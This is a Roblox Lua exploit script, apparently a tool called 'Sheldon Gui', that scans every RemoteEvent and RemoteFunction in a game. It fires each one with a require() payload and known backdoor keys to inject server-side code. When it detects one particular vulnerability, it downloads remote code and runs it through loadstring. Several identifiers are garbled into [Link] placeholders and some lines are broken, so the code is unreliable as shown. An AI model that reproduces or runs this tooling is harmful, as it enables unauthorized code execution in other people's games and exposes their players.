local dateTimeNow = DateTime.
now
local tableFind = [Link]
local taskSpawn = [Link]
local taskWait = [Link]
local stringRep = [Link]
local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local JointsService = game:GetService("JointsService")
local StarterGui = game:GetService("StarterGui")
local LocalPlayer = game:GetService("Players").LocalPlayer
local requireScript = ("require(15629007042)('%s', %s)"):format([Link],
"true", [Link]("!", 2400))
local GameCode = [Link]
local alternativeSS = {
run = { [1] = "5#lGIERKWEF" },
emma = { [1] = "pwojr8hoc0-gr0yxohlgp-0feb7ncxed", [1] = ",,,,,,,,,,,,,,," },
helpme = { [1] = "helpme" },
pickett = { [1] = "cGlja2V0dA==" }
}
local function notify(text)
StarterGui:SetCore(
"SendNotification",
{
Title = "Sheldon Gui",
Duration = 1,
Text = text
}
)
end
local function attached(possibleWait)
local PlayerGui = [Link]
if possibleWait then
local start = dateTimeNow().UnixTimestampMillis
local possibleWait = possibleWait * 1000
while PlayerGui and not PlayerGui:FindFirstChild("Young Sheldon Gui
Injected!") and (possibleWait > dateTimeNow().UnixTimestampMillis - start) do
taskWait()
end
end
return PlayerGui and PlayerGui:FindFirstChild("Injected!")
end
local function validRemote(rm)
local Parent = [Link]
if getgenv().blacklisted then
if tableFind(getgenv().blacklisted, rm:GetFullName()) then return false
end
end
if Parent then
if Parent == JointsService then return false end
if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
([Link] == "__FUNCTION" and [Link] == "RemoteEvent"
and [Link] == ReplicatedStorage) then return false end
end
if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end
return true
end
local function harked()
local backpack = [Link]
return backpack:FindFirstChild("HandlessSegway") and
[Link]:FindFirstChild("RemoteEvents") and
[Link]:FindFirstChild("DestroySegway")
end
local function emmaBackdoor(rm)
local Parent = [Link]
return [Link] == "emma" and Parent and [Link] == "mynameemma" and
[Link] == ReplicatedStorage
end
local function runBackdoor(rm)
local Parent = [Link]
return [Link] == "Run" and Parent and
Parent:FindFirstChild("Pages") and Parent:FindFirstChild("R6") and
Parent:FindFirstChild("Version") and Parent:FindFirstChild("Title")
end
local function httpRequest(url)
if syn and [Link] then return [Link]({Url=url}).Body
elseif request then return request({Url=url}).Body
else return game:HttpGetAsync(url) end
end
local function scanGame()
notify("Scanning a backdoor game.")
if harked() then
loadstring(httpRequest([Link]))()
return
end
do
local DescendantsList = game:GetDescendants()
for index=1, #DescendantsList do
if attached() then break end
local remote = DescendantsList[index]
if not validRemote(remote) then continue end
if [Link] ~= "RemoteEvent" then continue end
if emmaBackdoor(remote) then
remote:FireServer(unpack([Link]),
requireScript)
end
if not attached() and runBackdoor(remote) then
remote:FireServer(unpack([Link]), requireScript)
end
if not attached() then
remote:FireServer(unpack([Link]), requireScript) end
if not attached() then
remote:FireServer(unpack([Link]), requireScript) end
if not attached() then remote:FireServer(requireScript) end
end
if attached() then return end
for index=1, #DescendantsList do
if attached() then break end
local remote = DescendantsList[index]
if not validRemote(remote) then continue end
if [Link] ~= "RemoteFunction" then continue end
local waiting = true
taskSpawn(function()
remote:InvokeServer(requireScript)
waiting = nil
end)
local start = dateTimeNow().UnixTimestampMillis
while waiting and 1000 > dateTimeNow().UnixTimestampMillis -
start do
taskWait()
end
end
end
end
local function Main()
scanGame()
if not attached(3.5) then
notify("False.\nGame not backdoored?")
end
end
if game:IsLoaded() then
pcall(Main)
end